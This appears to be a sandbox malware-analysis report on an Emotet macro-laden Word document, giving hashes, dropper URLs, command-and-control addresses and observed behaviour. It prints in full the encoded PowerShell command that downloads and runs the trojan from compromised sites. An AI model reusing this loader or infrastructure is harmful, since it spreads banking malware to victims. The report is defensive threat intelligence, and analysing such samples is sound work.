emotet | 2f52d043d3663e2f9b2162352307f622a5fdfa13563207f9b303d2a0489f3e31

Analysis

max time kernel
135s
max time network
141s
platform
windows10_x64
resource
win10
submitted
17/09/2020, 11:07

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General

Target
emotet_e1_2f52d043d3663e2f9b2162352307f622a5fdfa13563207f9b303d2a0489f3e31_2020-09-17__110552._doc.doc
Size 242KB
Sample200917-9e9sheas2e
SHA256 2f52d043d3663e2f9b2162352307f622a5fdfa13563207f9b303d2a0489f3e31
MD5 e4994e2046788ab1cd85f83094fb3b93
SHA1 973d87acd49a4bae4657ad0f38d13ebdb818b4d7
SHA512 1060ef36e57f2de4688e4482b4e367f4998a55c298371d005e60469e216c63c95dcaf75e21a3a2126bc9d818fad087d96ef32cc071526c3a212228f4d0013852
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://localesfavoritos.com/wp-admin/c/
exe.dropper
http://generalstorebd.com/wp-admin/pvI/
exe.dropper
https://agrotradespecialist.com/re/xq/
exe.dropper
http://laladiwanchandmodernwrestlingandyogacentre.com/wp-content/kg/
exe.dropper
http://zzuzhi.xuezha.vip/themes/P/
exe.dropper
http://octopusconsults.com/wp-content/En7/
exe.dropper
https://minilillie.com/8npku7/b/

Extracted

Family

emotet

174.113.69.136:80
51.38.124.206:80
82.196.15.205:8080
38.88.126.202:8080
190.115.18.139:8080
98.13.75.196:80
181.30.61.163:443
82.76.111.249:443
181.129.96.162:8080
74.58.215.226:80
68.69.155.181:80
188.135.15.49:80
190.163.31.26:80
50.121.220.50:80
51.159.23.217:443
2.47.112.152:80
185.215.227.107:443
217.13.106.14:8080
70.32.115.157:8080
170.81.48.2:80
73.213.208.163:80
5.196.35.138:7080
190.24.243.186:80
192.241.143.52:8080
185.183.16.47:80
184.66.18.83:80
187.162.248.237:80
220.109.145.69:80
51.255.165.160:8080
82.230.1.24:80
94.176.234.118:443
104.131.103.37:8080
50.28.51.143:8080
12.162.84.2:8080
74.136.144.133:80
77.90.136.129:8080
68.183.190.199:8080
96.245.123.149:80
177.74.228.34:80
213.197.182.158:8080
45.46.37.97:80
110.142.219.51:80
192.241.146.84:8080
189.2.177.210:443
177.73.0.98:443
61.197.92.216:80
185.178.10.77:80
212.71.237.140:8080
65.36.62.20:80
190.195.129.227:8090
217.199.160.224:7080
138.97.60.141:7080
155.186.0.121:80
204.225.249.100:7080
92.24.50.153:80
83.169.21.32:7080
190.6.193.152:8080
219.92.13.25:80
186.103.141.250:443
80.11.164.185:80
45.16.226.117:443
67.247.242.247:80
190.2.31.172:80
77.238.212.227:80
64.201.88.132:80
185.94.252.27:443
199.203.62.165:80
190.147.137.153:443
111.67.77.202:8080
172.104.169.32:8080
5.189.178.202:8080
190.190.148.27:8080
191.182.6.118:80
45.161.242.102:80
70.32.84.74:8080
45.33.77.42:8080
72.47.248.48:7080
114.158.45.53:80
209.236.123.42:8080
137.74.106.111:7080
54.37.42.48:8080
95.9.180.128:80
96.227.52.8:443
152.169.22.67:80
104.131.41.185:8080
77.106.157.34:8080
111.67.12.221:8080
61.92.159.208:8080
178.250.54.208:8080
68.183.170.114:8080
78.249.119.122:80
186.70.127.199:8090
216.47.196.104:80
185.94.252.12:80
87.106.46.107:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1864	3040	powershell.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3692-14-0x00000000004D0000-0x00000000004E2000-memory.dmp	emotet
behavioral2/memory/3692-14-0x00000000004D0000-0x00000000004E2000-memory.dmp	emotet
behavioral2/memory/3692-15-0x0000000000470000-0x0000000000480000-memory.dmp	emotet
behavioral2/memory/3692-15-0x0000000000470000-0x0000000000480000-memory.dmp	emotet
behavioral2/memory/2228-18-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/2228-18-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/2228-19-0x00000000004D0000-0x00000000004E0000-memory.dmp	emotet
behavioral2/memory/2228-19-0x00000000004D0000-0x00000000004E0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	1864	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
3692	H6kue44w3.exe
2228	KBDBU.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\CredProvDataModel\KBDBU.exe	H6kue44w3.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1864	powershell.exe
1864	powershell.exe
1864	powershell.exe
2228	KBDBU.exe
2228	KBDBU.exe
2228	KBDBU.exe
2228	KBDBU.exe
2228	KBDBU.exe
2228	KBDBU.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1864	powershell.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE
3828	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1864 wrote to memory of 3692	1864	powershell.exe	78
PID 1864 wrote to memory of 3692	1864	powershell.exe	78
PID 1864 wrote to memory of 3692	1864	powershell.exe	78
PID 3692 wrote to memory of 2228	3692	H6kue44w3.exe	82
PID 3692 wrote to memory of 2228	3692	H6kue44w3.exe	82
PID 3692 wrote to memory of 2228	3692	H6kue44w3.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2f52d043d3663e2f9b2162352307f622a5fdfa13563207f9b303d2a0489f3e31_2020-09-17__110552._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3828

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -encod JABWAHoAYQBmADEAeQB3AD0AKAAnAFQAJwArACgAJwA4ACcAKwAnAHgAMgAnACkAKwAoACcANAAnACsAJwByADgAJwApACkAOwAmACgAJwBuAGUAdwAtACcAKwAnAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAUwBFAHIAUABSAG8ARgBJAGwARQBcAFQAQQBDAFYANQBEAHcAXABlAEwAMAA4AEcAZQA3AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAEUAYwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAHUAcgBJAFQAYAB5AFAAUgBPAHQAbwBgAGMATwBMACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAJwApACsAJwAxACcAKwAoACcAMgAsACcAKwAnACAAdABsAHMAMQAxACcAKwAnACwAIAAnACsAJwB0ACcAKQArACcAbABzACcAKQA7ACQARgBxADkAYgBuAHAAbwAgAD0AIAAoACgAJwBIADYAawAnACsAJwB1AGUAJwApACsAKAAnADQANAAnACsAJwB3ACcAKQArACcAMwAnACkAOwAkAEQAaQBlAG4AZABkAHUAPQAoACcARgAnACsAKAAnAHoAJwArACcAcABpAHEAJwArACcAZABvACcAKQApADsAJABTAG4ANgBsAHQAYwBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADMAcAAnACsAJwBrAFQAJwArACgAJwBhAGMAJwArACcAdgAnACkAKwAoACcANQBkAHcAMwBwACcAKwAnAGsAJwApACsAKAAnAEUAbAAwADgAZwAnACsAJwBlADcAJwApACsAJwAzACcAKwAnAHAAawAnACkAIAAgAC0AcgBFAFAATABBAEMARQAgACAAKABbAGMASABhAFIAXQA1ADEAKwBbAGMASABhAFIAXQAxADEAMgArAFsAYwBIAGEAUgBdADEAMAA3ACkALABbAGMASABhAFIAXQA5ADIAKQArACQARgBxADkAYgBuAHAAbwArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFYAOQBxADYAMwAxAG8APQAoACcAUABsACcAKwAoACcANgAnACsAJwBsAHIAYgA4ACcAKQApADsAJABWAGkAawAxAHQAdgBfAD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAVAAuAFcARQBiAGMATABpAGUAbgB0ADsAJABHAGIAZwA3AGcAMgBzAD0AKAAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAnACsAJwAvAC8AbAAnACsAJwBvACcAKQArACgAJwBjAGEAbABlAHMAJwArACcAZgAnACkAKwAnAGEAJwArACgAJwB2ACcAKwAnAG8AcgBpAHQAJwApACsAKAAnAG8AJwArACcAcwAuACcAKQArACcAYwBvACcAKwAnAG0ALwAnACsAKAAnAHcAcAAnACsAJwAtACcAKQArACcAYQAnACsAJwBkAG0AJwArACgAJwBpACcAKwAnAG4ALwAnACkAKwAnAGMALwAnACsAJwAqACcAKwAnAGgAJwArACcAdAB0ACcAKwAoACcAcAA6ACcAKwAnAC8AJwApACsAJwAvAGcAJwArACgAJwBlACcAKwAnAG4AZQAnACkAKwAoACcAcgAnACsAJwBhAGwAJwApACsAKAAnAHMAdABvAHIAJwArACcAZQAnACkAKwAoACcAYgBkAC4AYwBvACcAKwAnAG0AJwApACsAKAAnAC8AJwArACcAdwBwAC0AYQBkAG0AJwArACcAaQAnACsAJwBuAC8AJwApACsAKAAnAHAAdgAnACsAJwBJACcAKQArACgAJwAvACoAaAB0ACcAKwAnAHQAcABzADoAJwArACcALwAvAGEAZwAnACsAJwByAG8AdAByAGEAZABlAHMAJwArACcAcAAnACsAJwBlAGMAJwApACsAKAAnAGkAYQAnACsAJwBsACcAKQArACgAJwBpACcAKwAnAHMAdAAnACkAKwAnAC4AJwArACgAJwBjACcAKwAnAG8AbQAvACcAKQArACgAJwByAGUALwAnACsAJwB4AHEAJwArACcALwAqAGgAdAAnACkAKwAoACcAdABwADoALwAvACcAKwAnAGwAJwApACsAKAAnAGEAbABhAGQAaQB3AGEAbgBjACcAKwAnAGgAJwArACcAYQAnACkAKwAoACcAbgAnACsAJwBkACcAKwAnAG0AbwBkAGUAcgBuAHcAJwApACsAKAAnAHIAZQBzAHQAbABpAG4AJwArACcAZwAnACkAKwAoACcAYQBuACcAKwAnAGQAJwApACsAKAAnAHkAbwAnACsAJwBnACcAKwAnAGEAYwBlAG4AdAByAGUAJwApACsAJwAuAGMAJwArACgAJwBvACcAKwAnAG0ALwB3AHAAJwArACcALQAnACsAJwBjAG8AbgB0AGUAJwArACcAbgB0AC8AJwArACcAawBnAC8AKgBoAHQAdABwADoALwAvAHoAegAnACkAKwAoACcAdQB6AGgAJwArACcAaQAnACkAKwAnAC4AJwArACcAeAB1ACcAKwAnAGUAegAnACsAKAAnAGgAYQAuAHYAaQAnACsAJwBwAC8AJwApACsAJwB0ACcAKwAnAGgAZQAnACsAJwBtACcAKwAoACcAZQBzACcAKwAnAC8AUAAvACoAJwApACsAKAAnAGgAdAB0AHAAJwArACcAOgAnACkAKwAoACcALwAvACcAKwAnAG8AYwAnACkAKwAoACcAdABvAHAAdQAnACsAJwBzAGMAbwAnACsAJwBuACcAKQArACgAJwBzACcAKwAnAHUAbAB0ACcAKQArACgAJwBzACcAKwAnAC4AYwBvAG0AJwArACcALwB3AHAALQAnACkAKwAoACcAYwBvACcAKwAnAG4AJwApACsAJwB0AGUAJwArACcAbgAnACsAJwB0ACcAKwAoACcALwAnACsAJwBFAG4AJwArACcANwAvACoAaAB0AHQAcAAnACkAKwAoACcAcwAnACsAJwA6AC8AJwApACsAJwAvAG0AJwArACcAaQBuACcAKwAnAGkAJwArACgAJwBsAGkAJwArACcAbABsAGkAZQAuAGMAJwApACsAKAAnAG8AbQAnACsAJwAvACcAKwAnADgAbgBwAGsAdQA3AC8AJwApACsAJwBiAC8AJwApAC4AIgBTAFAAbABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEsAcAB0AG8AYgBvADQAPQAoACgAJwBFAHIAJwArACcAagBpACcAKQArACgAJwB1AGMAJwArACcAcAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEsAeQBhAGIAdgBoAG8AIABpAG4AIAAkAEcAYgBnADcAZwAyAHMAKQB7AHQAcgB5AHsAJABWAGkAawAxAHQAdgBfAC4AIgBEAE8AVwBOAGAAbABPAGEAZABgAEYAaQBgAEwAZQAiACgAJABLAHkAYQBiAHYAaABvACwAIAAkAFMAbgA2AGwAdABjAGsAKQA7ACQARQBpADAANgBmADkAdAA9ACgAKAAnAFcAZgAnACsAJwAzADMAJwApACsAJwBqACcAKwAnAGoANgAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQAUwBuADYAbAB0AGMAawApAC4AIgBMAEUAYABOAGAAZwB0AEgAIgAgAC0AZwBlACAAMgAzADIAMAA4ACkAIAB7ACYAKAAnAEkAbgB2ACcAKwAnAG8AawAnACsAJwBlAC0ASQB0AGUAbQAnACkAKAAkAFMAbgA2AGwAdABjAGsAKQA7ACQAQQA2AGEAdgBhADYAcQA9ACgAJwBYAHkAJwArACgAJwBrAHEAJwArACcAZgBwACcAKQArACcAdQAnACkAOwBiAHIAZQBhAGsAOwAkAFEAZgBqAGMAYgBqAHIAPQAoACcAQgB0ACcAKwAoACcAOAB3ACcAKwAnAGEAJwApACsAJwBsADkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAHEAdQBoAHAAeABmAD0AKAAoACcATgAnACsAJwAyAGoAagAnACkAKwAoACcAagAnACsAJwBhAHoAJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1864
- C:\Users\Admin\Tacv5dw\El08ge7\H6kue44w3.exe
  "C:\Users\Admin\Tacv5dw\El08ge7\H6kue44w3.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:3692
- - C:\Windows\SysWOW64\CredProvDataModel\KBDBU.exe
    "C:\Windows\SysWOW64\CredProvDataModel\KBDBU.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2228

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1864-9-0x000001E1E9720000-0x000001E1E9721000-memory.dmp

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memory/1864-10-0x000001E1E9840000-0x000001E1E9841000-memory.dmp

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memory/1864-8-0x00007FFA38E90000-0x00007FFA3987C000-memory.dmp

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memory/2228-19-0x00000000004D0000-0x00000000004E0000-memory.dmp

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memory/2228-18-0x00000000004B0000-0x00000000004C2000-memory.dmp

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memory/3692-15-0x0000000000470000-0x0000000000480000-memory.dmp

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memory/3692-14-0x00000000004D0000-0x00000000004E2000-memory.dmp

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memory/3828-7-0x0000018BF0A15000-0x0000018BF0A21000-memory.dmp

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memory/3828-6-0x0000018BF0A15000-0x0000018BF0A21000-memory.dmp

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memory/3828-5-0x0000018BEE2B9000-0x0000018BEE2BC000-memory.dmp

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memory/3828-0-0x00007FFA402E0000-0x00007FFA409A6000-memory.dmp

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memory/3828-4-0x0000018BF086A000-0x0000018BF086D000-memory.dmp

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memory/3828-3-0x0000018BF086A000-0x0000018BF086D000-memory.dmp

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memory/3828-2-0x0000018BF0865000-0x0000018BF086A000-memory.dmp

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memory/3828-1-0x0000018BF0865000-0x0000018BF086A000-memory.dmp

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